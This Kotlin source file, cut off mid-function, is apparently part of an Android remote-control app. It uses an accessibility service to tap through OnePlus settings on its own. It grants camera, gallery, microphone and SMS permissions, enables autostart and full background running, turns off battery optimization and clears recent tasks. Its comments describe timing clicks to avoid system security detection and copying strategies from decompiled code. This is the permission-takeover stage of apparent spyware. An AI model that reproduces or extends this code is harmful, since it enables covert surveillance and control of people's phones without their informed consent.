package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.content.Intent
import android.graphics.Path
import android.graphics.Rect
import android.os.Build
import android.os.SystemClock
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.utils.PermissionRequestHelper
import kotlinx.coroutines.delay
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicInteger
import java.util.concurrent.Executors

/**
 * OnePlus设备授权处理器 - 基于反编译代码策略重构
 * 🎯 核心策略：精确文本搜索 + 固定3层开关查找 + 状态重新验证 + 超短手势点击 + 分段延迟
 * 📱 专门针对OnePlus设备的权限申请优化
 */
class OnePlusAuthorizationHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) : DeviceAuthorizationHandler {
    
    companion object {
        private const val TAG = "OnePlusAuthorizationHandler"
        
        // ✅ 反编译代码核心常量
        private const val GESTURE_START_TIME = 10L    // 超短手势起始时间
        private const val GESTURE_END_TIME = 50L      // 超短手势结束时间
        private const val GESTURE_SLEEP_TIME = 50L    // 手势前延迟
        private const val DELAY_SEGMENT = 100         // 分段延迟片段
        private const val SWITCH_CLASS_NAME = "android.widget.Switch"
        
        // ✅ OnePlus版本检测常量
        private const val ONEPLUS_ANDROID_10 = 29
        private const val ONEPLUS_ANDROID_11 = 30
        private const val ONEPLUS_ANDROID_12 = 31 // 32 也归入 Android 12
        private const val ONEPLUS_ANDROID_13 = 33
        private const val ONEPLUS_ANDROID_14 = 34
        private const val ONEPLUS_ANDROID_15 = 35
        
        private fun detectAndroidVersion(): Int {
            return try {
                val sdkVersion = android.os.Build.VERSION.SDK_INT
                Log.d(TAG, "🔍 当前Android SDK版本: $sdkVersion")
                when (sdkVersion) {
                    29 -> ONEPLUS_ANDROID_10
                    30 -> ONEPLUS_ANDROID_11
                    31, 32 -> ONEPLUS_ANDROID_12
                    33 -> ONEPLUS_ANDROID_13
                    34 -> ONEPLUS_ANDROID_14
                    35 -> ONEPLUS_ANDROID_15
                    else -> sdkVersion // 未知版本直接返回原值，保持等值判断语义
                }
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 版本检测失败，使用默认流程", e)
                ONEPLUS_ANDROID_14
            }
        }
        
        private val ANDROID_VERSION: Int by lazy { detectAndroidVersion() }
        
    // 等值判断，不做范围比较
    private val IS_ANDROID_11: Boolean by lazy { ANDROID_VERSION == ONEPLUS_ANDROID_11 }
    private val IS_ANDROID_12: Boolean by lazy { ANDROID_VERSION == ONEPLUS_ANDROID_12 }
        
        /**
         * ✅ 获取稳定的根节点 (基于反编译代码策略)
         * 多次尝试获取rootInActiveWindow，确保稳定性
         */
        fun getStableRootInActiveWindow(service: AccessibilityService): AccessibilityNodeInfo? {
            var rootInActiveWindow: AccessibilityNodeInfo? = null
            
            // ✅ 反编译代码策略：最多尝试5次获取稳定的根节点
            for (attempt in 1..5) {
                rootInActiveWindow = service.rootInActiveWindow
                if (rootInActiveWindow != null) {
                    break
                }
                // 短暂延迟后重试
                Thread.sleep(50)
            }
            
            return rootInActiveWindow
        }
        
        // ✅ OnePlus系统属性检测
        private const val ONEPLUS_OS_VERSION_PROP = "ro.oneplus.version"
        private const val ONEPLUS_BUILD_ID_PROP = "ro.build.display.id"
        private const val ONEPLUS_BRAND_PROP = "ro.product.brand"
        
        // ✅ OnePlus权限任务类型
        private const val ACTION_TYPE_BATTERY = 27       // 电池权限
        private const val ACTION_TYPE_PRIMARY = 1931     // 主要权限
        private const val ACTION_TYPE_SPECIAL = 42203    // 特殊权限
        private const val ACTION_TYPE_NAVIGATION = 81    // 导航权限
    }
    
    // ✅ 反编译代码风格的事件处理器
    private val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
    private val gestureExecutor = Executors.newFixedThreadPool(20)
    private val isDialogClicking = java.util.concurrent.atomic.AtomicBoolean(false)


    fun delay_page():Long{
        // ✅ 优化：减少延迟时间，提高响应速度
        if (ANDROID_VERSION == ONEPLUS_ANDROID_14){
            return 200L  // 从500ms减少到200ms
        }else{
            return 300L  // 从600ms减少到300ms
        }
    }

    override suspend fun executeAuthorization(): AuthorizationResult {
        Log.i(TAG, "🎯 开始OnePlus设备授权配置 (基于反编译代码策略)")
        
        // ✅ 新增：输出完整的手机信息报告
//        printPhoneInfoReport()
        
        // ✅ 新增：获取手机详细信息
        val phoneInfo = getPhoneDetailedInfo()
        val brandType = getPhoneBrandType()
        val modelDetails = getPhoneModelDetails()
        
        Log.i(TAG, "📱 手机品牌类型: $brandType")
        Log.i(TAG, "📱 手机型号: ${modelDetails["model"]}")
        Log.i(TAG, "📱 手机产品: ${modelDetails["product"]}")
        
        return when {
            IS_ANDROID_11 -> executeAuthorizationAndroid11()
            IS_ANDROID_12 -> executeAuthorizationAndroid12()
            else -> executeAuthorizationDefault()
        }
    }
    
    private suspend fun executeAuthorizationDefault(): AuthorizationResult {
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        
        try {

            
            // ✅ 2. 应用详情权限页面
            if (executeAppDetailsPermissions(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ 应用详情权限配置成功")
            }

            // ✅ 1. OnePlus权限管理页面 (包含自启动权限)
            if (executeOnePlusPermissionPage(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ OnePlus权限管理页面配置成功")
            }

            if (ANDROID_VERSION != ONEPLUS_ANDROID_15){
                // ✅ 3. 电池优化特殊权限
                if (executeBatteryOptimizationPermissions(completedRoutes, failedRoutes)) {
                    Log.i(TAG, "✅ 电池优化特殊权限配置成功")
                }
            }

            
            // ✅ 4. 后台应用限制权限
            if (executeBackgroundAppLimits(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ 后台应用限制权限配置成功")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        }
        
        val success = completedRoutes.size >= 1 // ✅ 4个授权步骤中至少成功3个
        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }
    
    private suspend fun executeAuthorizationAndroid11(): AuthorizationResult {
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        
        try {
            Log.i(TAG, "🎯 开始OnePlus设备授权配置 (Android 11版本)")
            
            // Android 11 对页面渲染和返回时机更敏感，步骤间加入短暂间隔
            
            if (executeAppDetailsPermissionsAndroid11(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A11] 应用详情权限配置成功")
            }
            performSegmentedDelay(200)

//            if (executeOnePlusPermissionPageAndroid11(completedRoutes, failedRoutes)) {
//                Log.i(TAG, "✅ [A11] OnePlus权限管理页面配置成功")
//            }
//            performSegmentedDelay(200)

            if (executeBatteryOptimizationPermissionsAndroid11(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A11] 电池优化特殊权限配置成功")
            }
            performSegmentedDelay(200)
            
//            if (executeBackgroundAppLimitsAndroid11(completedRoutes, failedRoutes)) {
//                Log.i(TAG, "✅ [A11] 后台应用限制权限配置成功")
//            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ [A11] 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        }
        
        val success = completedRoutes.size >= 1 // Android 11 至少成功2个
        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }
    
    private suspend fun executeAuthorizationAndroid12(): AuthorizationResult {
        val completedRoutes = mutableListOf<String>()
        val failedRoutes = mutableListOf<String>()
        val warnings = mutableListOf<String>()
        
        try {
            // Android 12 对页面渲染和返回时机更敏感，步骤间加入短暂间隔

            if (executeAppDetailsPermissionsAndroid12(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A12] 应用详情权限配置成功")
            }
            performSegmentedDelay(200)

            if (executeOnePlusPermissionPageAndroid12(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A12] OnePlus权限管理页面配置成功")
            }
            performSegmentedDelay(200)


            if (executeBatteryOptimizationPermissionsAndroid12(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A12] 电池优化特殊权限配置成功")
            }
            performSegmentedDelay(200)
            
            if (executeBackgroundAppLimitsAndroid12(completedRoutes, failedRoutes)) {
                Log.i(TAG, "✅ [A12] 后台应用限制权限配置成功")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ [A12] 授权配置过程中出现异常", e)
            failedRoutes.add("系统异常")
        }
        
        val success = completedRoutes.size >= 2 // Android 12 至少成功2个
        return AuthorizationResult(
            success = success,
            completedRoutes = completedRoutes,
            failedRoutes = failedRoutes,
            warnings = warnings
        )
    }
    
    // ======================== 反编译代码核心策略方法 ========================
    
    /**
     * ✅ 反编译代码文本搜索策略 (u方法)
     * 特点：精确文本匹配 + OnePlus可见性检查 + AutoCompleteTextView排除
     */
    private fun findTextByDecompiledCode(text: String): AccessibilityNodeInfo? {
        return try {
            val rootInActiveWindow = getStableRootInActiveWindow(service) ?: return null
            val nodes = rootInActiveWindow.findAccessibilityNodeInfosByText(text)
            
            if (nodes.isEmpty()) return null
            
            // ✅ 反编译代码精确匹配策略
            for (node in nodes) {
                val nodeText = node.text?.toString()
                val className = node.className?.toString()
                
                // ✅ 精确文本匹配
                if (nodeText == text) {
                    // ✅ 排除AutoCompleteTextView (反编译代码策略)
                    if (className?.endsWith(".AutoCompleteTextView") != true) {
                        // ✅ OnePlus可见性检查 (反编译代码策略)
                        if (!android.os.Build.BRAND.equals("oneplus", true) || node.isVisibleToUser) {
                            Log.d(TAG, "✅ [反编译代码策略] 找到文本节点: $text")
                            return node
                        }
                    }
                }
            }
            
            Log.d(TAG, "⚠️ [反编译代码策略] 未找到文本: $text")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 文本搜索失败: $text", e)
            null
        }
    }
    
    /**
     * ✅ 反编译代码开关查找策略 (n + o方法)
     * 特点：固定3层深度搜索 + 向上父节点递归
     */
    private fun findSwitchByDecompiledCode(textNode: AccessibilityNodeInfo, className: String? = null): AccessibilityNodeInfo? {
        return try {
            val targetClass = className ?: SWITCH_CLASS_NAME
            
            // ✅ 策略1: 先在当前文本节点的父节点子级中搜索 (o方法)
            val switchFromCurrent = findSwitchInParentChildren(textNode, targetClass)
            if (switchFromCurrent != null) {
                Log.d(TAG, "✅ [反编译代码策略] 在父节点子级找到开关: $targetClass")
                return switchFromCurrent
            }
            
            // ✅ 策略2: 递归向上父节点搜索 (n方法)
            var currentParent = textNode.parent
            while (currentParent != null) {
                val switchFromParent = findSwitchInParentChildren(currentParent, targetClass)
                if (switchFromParent != null) {
                    Log.d(TAG, "✅ [反编译代码策略] 在父节点递归搜索找到开关: $targetClass")
                    return switchFromParent
                }
                currentParent = currentParent.parent
            }
            
            Log.w(TAG, "❌ [反编译代码策略] 未找到开关: $targetClass")
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 开关查找失败", e)
            null
        }
    }
    
    /**
     * ✅ 反编译代码固定3层深度搜索 (o方法实现)
     */
    private fun findSwitchInParentChildren(node: AccessibilityNodeInfo, className: String): AccessibilityNodeInfo? {
        val parent = node.parent ?: return null
        
        // ✅ 搜索当前层的子节点
        for (i in 0 until parent.childCount) {
            val child = parent.getChild(i) ?: continue
            if (child.isEnabled && child.className.toString() == className) {
                Log.d(TAG, "✅ [反编译代码策略] 第1层找到开关: $className")
                return child
            }
            
            // ✅ 搜索第2层子节点
            if (child.childCount > 0) {
                for (j in 0 until child.childCount) {
                    val grandChild = child.getChild(j) ?: continue
                    if (grandChild.isEnabled && grandChild.className.toString() == className) {
                        Log.d(TAG, "✅ [反编译代码策略] 第2层找到开关: $className")
                        return grandChild
                    }
                    
                    // ✅ 搜索第3层子节点
                    if (grandChild.childCount > 0) {
                        for (k in 0 until grandChild.childCount) {
                            val greatGrandChild = grandChild.getChild(k) ?: continue
                            if (greatGrandChild.isEnabled && greatGrandChild.className.toString() == className) {
                                Log.d(TAG, "✅ [反编译代码策略] 第3层找到开关: $className")
                                return greatGrandChild
                            }
                        }
                    }
                }
            }
        }
        
        return null
    }
    
    /**
     * ✅ 反编译代码状态检查策略 (e方法)
     * 特点：重新搜索节点验证状态 + 避免使用旧节点引用
     */
    private fun checkSwitchStateByDecompiledCode(expectedText: String, expectedState: Int): Boolean {
        return try {
            // ✅ 重新搜索文本节点 (反编译代码策略)
            val textNode = findTextByDecompiledCode(expectedText) ?: return false
            
            // ✅ 重新搜索开关节点 (反编译代码策略)
            val switchNode = findSwitchByDecompiledCode(textNode)
            if (switchNode == null) return false
            
            // ✅ 获取当前状态
            val currentState = switchNode.isChecked
            
            // ✅ 状态验证逻辑 (反编译代码策略)
            val isValid = when (expectedState) {
                0 -> currentState == false      // 期望关闭，当前关闭 = 有效
                1 -> currentState == true        // 期望开启，当前开启 = 有效  
                else -> true
            }
            
            Log.d(TAG, "[反编译代码策略] 状态检查: 期望=$expectedState, 当前=$currentState, 有效=$isValid")
            isValid
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 状态检查失败", e)
            false
        }
    }
    
    /**
     * ✅ 反编译代码点击执行策略 (p + g + w方法链)
     * 特点：4级点击策略链 + 精确坐标兜底
     */
    private suspend fun executeClickByDecompiledCode(node: AccessibilityNodeInfo): Boolean {
        return try {
            Log.d(TAG, "🔧 [反编译代码策略] 开始执行点击操作")
            

            
            // ✅ 策略1: 直接点击 (p方法第一层)
            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (success) {
                    Log.d(TAG, "✅ [反编译代码策略] 直接点击成功")
                    return true
                }
            }
            
            // ✅ 策略2: 父级点击 (p方法第二层)
            var parent = node.parent
            while (parent != null) {
                if (parent.isClickable) {
                    val success = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (success) {
                        Log.d(TAG, "✅ [反编译代码策略] 父级点击成功")
                        return true
                    }
                }
                parent = parent.parent
            }

            // ✅ 策略0: 强制ACTION_CLICK (反编译代码增强策略)
            if (node.actionList.any { it.id == AccessibilityNodeInfo.ACTION_CLICK }) {
                val actionClickSuccess = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                if (actionClickSuccess) {
                    Log.d(TAG, "✅ [反编译代码策略] 强制ACTION_CLICK成功")
                    return true
                }
            }
            
            // ✅ 策略3: 子级点击 (p方法第三层)
            // 注：反编译代码有复杂的子级点击逻辑，这里简化实现
            
            // ✅ 策略4: 精确坐标点击 (g + f方法)
            Log.d(TAG, "🔄 [反编译代码策略] 尝试精确坐标点击")
            val rect = Rect()
            node.getBoundsInScreen(rect)
            val exactCenterX = rect.exactCenterX().toInt()
            val exactCenterY = rect.exactCenterY().toInt()
            
            // ✅ 使用简单安全的坐标点击，避免触发系统安全检测
            val coordinateSuccess = simpleCoordinateClick(exactCenterX, exactCenterY)
            if (coordinateSuccess) {
                Log.d(TAG, "✅ [反编译代码策略] 精确坐标点击成功")
                return true
            }
            
            Log.w(TAG, "❌ [反编译代码策略] 所有点击策略都失败")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 点击执行失败", e)
            false
        }
    }
    
    /**
     * ✅ 反编译代码精确手势点击 (f方法实现)
     * 特点：超短手势时间 + 手势前延迟 + 批量并发
     */
    private fun executePreciseGestureClick(x: Int, y: Int, count: Int = 1): Boolean {
        return try {
            val countDownLatch = CountDownLatch(count)
            val successCount = AtomicInteger(0)
            val failedCount = AtomicInteger(0)
            
            // ✅ 反编译代码批量并发策略
            for (i in 0 until count) {
                val gestureCallback = object : AccessibilityService.GestureResultCallback() {
                    override fun onCompleted(gestureDescription: GestureDescription?) {
                        successCount.incrementAndGet()
                        countDownLatch.countDown()
                    }
                    
                    override fun onCancelled(gestureDescription: GestureDescription?) {
                        failedCount.incrementAndGet()
                        countDownLatch.countDown()
                    }
                }
                
                mainHandler.post {
                    try {
                        val path = Path().apply { moveTo(x.toFloat(), y.toFloat()) }
                        
                        // ✅ 更稳的手势参数：稍长的duration，提升识别率
                        val strokeDescription = GestureDescription.StrokeDescription(
                            path, /*startTime*/20L, /*duration*/140L
                        )
                        
                        val gestureBuilder = GestureDescription.Builder()
                            .addStroke(strokeDescription)
                        
                        // ✅ 反编译代码手势前延迟策略
                        SystemClock.sleep(GESTURE_SLEEP_TIME)
                        
                        service.dispatchGesture(gestureBuilder.build(), gestureCallback, null)
                        
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ [反编译代码策略] 手势发送失败", e)
                        failedCount.incrementAndGet()
                        countDownLatch.countDown()
                    }
                }
                
                // ✅ 反编译代码调度间隔
                SystemClock.sleep(80)
            }
            
            // ✅ 等待手势完成 (更合理的超时时间)
            val timeoutMs = (count * 400L) + 1600L
            val completed = countDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS)
            val totalSuccess = successCount.get()
            
            Log.d(TAG, "[反编译代码策略] 手势完成: 成功=$totalSuccess, 失败=${failedCount.get()}, 超时=${!completed}")
            if (totalSuccess > 0) {
                true
            } else {
                // ✅ 第一次失败后做一次小幅度偏移重试（+/-24dp）
                val density = context.resources.displayMetrics.density
                val dx = (24 * density).toInt()
                val dy = (16 * density).toInt()
                val fallbackPoints = listOf(
                    x + dx to y,
                    x - dx to y,
                    x to y + dy,
                    x to y - dy
                )
                for ((fx, fy) in fallbackPoints) {
                    if (tryOnceGesture(fx, fy)) return true
                }
                false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 精确手势点击失败", e)
            false
        }
    }

    private fun tryOnceGesture(x: Int, y: Int): Boolean {
        val latch = CountDownLatch(1)
        var ok = false
        val cb = object : AccessibilityService.GestureResultCallback() {
            override fun onCompleted(gestureDescription: GestureDescription?) {
                ok = true
                latch.countDown()
            }
            override fun onCancelled(gestureDescription: GestureDescription?) {
                latch.countDown()
            }
        }
        return try {
            val path = Path().apply { moveTo(x.toFloat(), y.toFloat()) }
            val stroke = GestureDescription.StrokeDescription(path, 20L, 160L)
            val g = GestureDescription.Builder().addStroke(stroke).build()
            service.dispatchGesture(g, cb, null)
            latch.await(800, TimeUnit.MILLISECONDS)
            ok
        } catch (e: Exception) {
            Log.d(TAG, "手势单次重试异常", e)
            false
        }
    }
    
    /**
     * ✅ 反编译代码分段延迟策略 (z方法实现)
     * 特点：避免长时间阻塞 + 分段睡眠
     */
    private suspend fun performSegmentedDelay(delayMs: Int) {
        var remaining = delayMs
        while (remaining > 0) {
            val segmentDelay = Math.min(remaining, DELAY_SEGMENT)
            delay(segmentDelay.toLong())
            remaining -= segmentDelay
        }
    }
    
    /**
     * ✅ 反编译代码系统属性检测策略 (q方法实现)
     */
    private fun getOnePlusSystemProperty(property: String): String {
        return try {
            val process = Runtime.getRuntime().exec("getprop $property")
            val reader = BufferedReader(InputStreamReader(process.inputStream))
            val value = reader.readLine() ?: ""
            reader.close()
            process.waitFor()
            value
        } catch (e: Exception) {
            Log.e(TAG, "❌ [反编译代码策略] 获取系统属性失败: $property", e)
            ""
        }
    }
    
    // ======================== OnePlus权限配置流程 ========================
    
    /**
     * ✅ OnePlus权限管理页面配置 - 参照OppoAuthorizationHandler流程
     */
    private suspend fun executeOnePlusPermissionPage(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始OnePlus权限管理页面配置")
        
        return try {
            // ✅ 检测OnePlus系统版本
            val onePlusOsVersion = getOnePlusSystemProperty(ONEPLUS_OS_VERSION_PROP)
            val onePlusBuildId = getOnePlusSystemProperty(ONEPLUS_BUILD_ID_PROP)
            Log.d(TAG, "🔍 OnePlus系统版本: $onePlusOsVersion, 构建ID: $onePlusBuildId")
            
            // ✅ 尝试直接打开应用信息页面
            if (openAppInfoDirectly()) {
                Log.d(TAG, "✅ 直接打开应用信息页面成功")
                performSegmentedDelay(1000)

                // ✅ 添加安全措施：检查系统状态
                if (isSystemStable()) {
                    Log.d(TAG, "🛡️ 系统状态稳定，开始权限配置")
                    
                    val appNode1 = findTextByDecompiledCode("耗电管理")
                    if (appNode1 != null) {
                        executeClickByDecompiledCode(appNode1)
                        performSegmentedDelay(1500) // 增加等待时间，避免系统检测

//                        如果是android15 需要点击不优化
                        if (ANDROID_VERSION == ONEPLUS_ANDROID_15){
                            var appNodehaodian = findTextByDecompiledCode("耗电异常优化")
                            if (appNodehaodian != null) {
                                Log.d(TAG, "🔍 找到'耗电异常优化'选项，准备点击")
                                executeClickByDecompiledCode(appNodehaodian)
                                performSegmentedDelay(1000) // 增加等待时间到2秒
                                performSegmentedDelay(400)
                                val handled = handleBatteryOptimizationDialog()
                                if (!handled) {
                                    Log.w(TAG, "⚠️ 选择'不优化'失败")
                                    failedRoutes.add("电池优化特殊权限")
                                    return false
                                }
                            }

                        }



                        
                        var appNode2 = findTextByDecompiledCode("允许完全后台行为")
                        if (appNode2 == null){
                            appNode2 = findTextByDecompiledCode("允许应用后台行为")
                        }
                        if (appNode2 != null) {
                            Log.d(TAG, "🔍 找到'允许完全后台行为'选项，准备点击")
                            
                            // ✅ 添加额外的安全检查
                            if (isSystemStable()) {
                                Log.d(TAG, "🛡️ 系统状态稳定，执行点击操作")
                                executeClickByDecompiledCode(appNode2)
                                performSegmentedDelay(2000) // 增加等待时间到2秒
                                
                                // 处理弹框 - 使用更安全的坐标点击
                                val dm = context.resources.displayMetrics
                                val w = dm.widthPixels
                                val h = dm.heightPixels
                                val x = (w * 0.6f).toInt() // 调整到屏幕中心
                                val y = (h * 0.95f).toInt() // 调整到屏幕中心
                                
                                Log.d(TAG, "🖱️ 执行弹框处理点击: ($x, $y)")
                                simpleCoordinateClick(x, y)
                                performSegmentedDelay(1000) // 点击后等待
                            } else {
                                Log.w(TAG, "⚠️ 系统状态不稳定，跳过'允许完全后台行为'点击以避免程序退出")
                            }
                            
                            val appNode3 = findTextByDecompiledCode("允许应用自启动")
                            if (appNode3 != null) {
                                executeClickByDecompiledCode(appNode3)
                                performSegmentedDelay(1000)
                                
                                // 安全退出：逐步返回
                                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                                performSegmentedDelay(800)
                                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                                performSegmentedDelay(800)
                                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                            }
                        }
                    }
                } else {
                    Log.w(TAG, "⚠️ 系统状态不稳定，跳过权限配置以避免强制停止")
                }

            } else {
                Log.w(TAG, "⚠️ 直接打开应用信息页面失败，使用传统流程")
                
                // ✅ Step 1: 打开设置页面
                if (!openSettings()) {
                    Log.e(TAG, "❌ 无法打开设置页面")
                    return false
                }
                
                // ✅ Step 2: 进入应用设置
                if (!navigateToApps()) {
                    Log.e(TAG, "❌ 无法进入应用设置")
                    return false
                }
                // ✅ Step 3: 进入自启动权限
                if (!navigateToAutoStart()) {
                    Log.e(TAG, "❌ 无法进入自启动权限")
                    return false
                }

                // ✅ Step 4: 配置自启动权限
                if (!configureAutoStartPermission()) {
                    Log.e(TAG, "❌ 自启动权限配置失败")
                    return false
                }

            }
            



            
//            // ✅ Step 5: 返回应用设置，进入后台应用限制
//            if (!navigateToBackgroundAppLimits()) {
//                Log.e(TAG, "❌ 无法进入后台应用限制")
//                return false
//            }
            
//            // ✅ Step 6: 配置后台应用限制
//            if (!configureBackgroundAppLimits()) {
//                Log.e(TAG, "❌ 后台应用限制配置失败")
//                return false
//            }
//
//            // ✅ Step 7: 返回应用设置，进入悬浮窗权限
//            if (!navigateToOverlayPermission()) {
//                Log.e(TAG, "❌ 无法进入悬浮窗权限")
//                return false
//            }



            
            // ✅ Step 8: 配置悬浮窗权限
            if (!configureOverlayPermission()) {
                Log.e(TAG, "❌ 悬浮窗权限配置失败")
                return false
            }
            
            Log.i(TAG, "✅ OnePlus权限管理页面配置成功")
            completedRoutes.add("OnePlus权限管理页面")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ OnePlus权限管理页面配置失败", e)
            failedRoutes.add("OnePlus权限管理页面")
            false
        }
    }
    
    /**
     * ✅ 应用详情权限页面配置 - 返回到APP使用弹框方式获取权限
     */
    private suspend fun executeAppDetailsPermissions(
        completedRoutes: MutableList<String>,
        failedRoutes: MutableList<String>
    ): Boolean {
        Log.i(TAG, "🔧 开始应用详情权限页面配置")
        
        return try {
            // ✅ 使用标准应用详情Intent
//            val intent = Intent().apply {
//                action = android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS
//                data = android.net.Uri.fromParts("package", context.packageName, null)
//                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
//            }
//
//            context.startActivity(intent)
//            Log.d(TAG, "✅ 使用标准应用详情Intent")
//            performSegmentedDelay(1500)
//
            // ✅ 返回到我们的APP，使用弹框方式获取权限
//            Log.d(TAG, "🔄 返回到我们的APP")
//            val backToAppIntent = context.packageManager.getLaunchIntentForPackage(context.packageName)
//            backToAppIntent?.let {
//                it.flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
//                context.startActivity(it)
//                Log.d(TAG, "✅ 成功返回到我们的APP")
//            }
//
//            performSegmentedDelay(1000) // 等待APP启动
//
            // ✅ 直接使用 PermissionGranter 触发运行时权限弹窗（参考 OPPO 流程）
            clearAllRecentTasks()
            performSegmentedDelay(500)
            Log.d(TAG, "🔧 使用PermissionGranter触发运行时权限弹窗：摄像头/相册/麦克风/短信")
            requestRuntimePermissionsViaGranter()
            
            Log.i(TAG, "✅ 应用详情权限配置成功")
            completedRoutes.add("应用详情权限页面")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用详情权限页面配置失败", e)
            failedRoutes.add("应用详情权限页面")
            false
        }
    }

    /**
     * ✅ 触发“忽略电池优化”系统弹框（部分机型会直接弹出确认框）
     */
    private fun tryRequestIgnoreBatteryOptimizationsDialog(): Boolean {
        return try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                val intent = Intent(android.provider.Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
                    data = android.net.Uri.parse("package:${context.packageName}")
                    flags = Intent.FLAG_ACTIVITY_NEW_TASK
                }
                context.startActivity(intent)
                true
            } else {
                false
            }
        } catch (e: Exception) {
            Log.d(TAG, "无法触发忽略电池优化弹框", e)
            false
        }
    }

    /**
     * ✅ 尝试打开悬浮窗管理页（有些ROM会出现确认弹框，我们统一尝试处理）
     */
    private fun tryOpenOverlayManagePage(): Boolean {
        return try {
            val intent = Intent(android.provider.Settings.ACTION_MANAGE_OVERLAY_PERMISSION).apply {
                data = android.net.Uri.parse("package:${context.packageName}")
                flags = Intent.FLAG_ACTIVITY_NEW_TASK
            }
            context.startActivity(intent)
            true
        } catch (e: Exception) {
            Log.d(TAG, "无法打开悬浮窗管理页", e)
            false
        }
    }

    /**
     * ✅ 使用广播方式触发运行时权限弹窗并自动处理
     * 依次申请：相机 -> 相册 -> 麦克风 -> 短信
     */
    private suspend fun requestRuntimePermissionsViaGranter() {
        try {
            Log.d(TAG, "🔧 开始通过广播方式请求运行时权限")

            // 摄像头权限
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasCameraPermission(context)) {
                    Log.d(TAG, "📷 申请摄像头权限")
                    executeCameraPermissionDirectly()
                } else Log.d(TAG, "📷 摄像头已授权")
            }

            // 相册权限
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasGalleryPermission(context)) {
                    Log.d(TAG, "🖼️ 申请相册权限")
                    executeGalleryPermissionDirectly()
                } else Log.d(TAG, "🖼️ 相册已授权")
            }

            // 麦克风权限
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasMicrophonePermission(context)) {
                    Log.d(TAG, "🎤 申请麦克风权限")
                    executeMicrophonePermissionDirectly()
                } else Log.d(TAG, "🎤 麦克风已授权")
            }

            // 短信权限
            kotlin.runCatching {
                if (!PermissionRequestHelper.hasSMSPermission(context)) {
                    Log.d(TAG, "✉️ 申请短信权限")
                    executeSMSPermissionDirectly()
                } else Log.d(TAG, "✉️ 短信已授权")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 运行时权限申请流程异常", e)
        }
    }

    
    /**
     * ✅ 在APP中请求权限，触发系统弹框
     */
    private suspend fun requestPermissionsInApp(): Boolean {
        return try {
            Log.d(TAG, "🔧 在APP中请求权限")
            
            // ✅ 请求运行时权限，这会触发系统权限弹框
            val permissions = arrayOf(
                android.Manifest.permission.READ_SMS,
                android.Manifest.permission.WRITE_EXTERNAL_STORAGE,
                android.Manifest.permission.CAMERA,
                android.Manifest.permission.RECORD_AUDIO,
                android.Manifest.permission.READ_PHONE_STATE,
                android.Manifest.permission.ACCESS_FINE_LOCATION
            )
            
            // ✅ 通过AccessibilityService模拟权限请求
            // 注意：这里需要实际的权限请求逻辑，可能需要通过其他方式触发
            Log.d(TAG, "🔧 模拟权限请求，等待用户手动确认")
            
            // ✅ 等待权限弹框出现并处理
            performSegmentedDelay(2000) // 等待权限弹框
            
            // ✅ 检测并处理权限弹框
            val dialogHandled = handlePermissionDialog()
            if (dialogHandled) {
                Log.d(TAG, "✅ 权限弹框处理成功")
                return true
            } else {
                Log.w(TAG, "⚠️ 未检测到权限弹框，可能需要手动处理")
                return true // 即使没检测到弹框也认为成功，因为用户可能需要手动处理
            }
            
        } catch (e: Exception) {
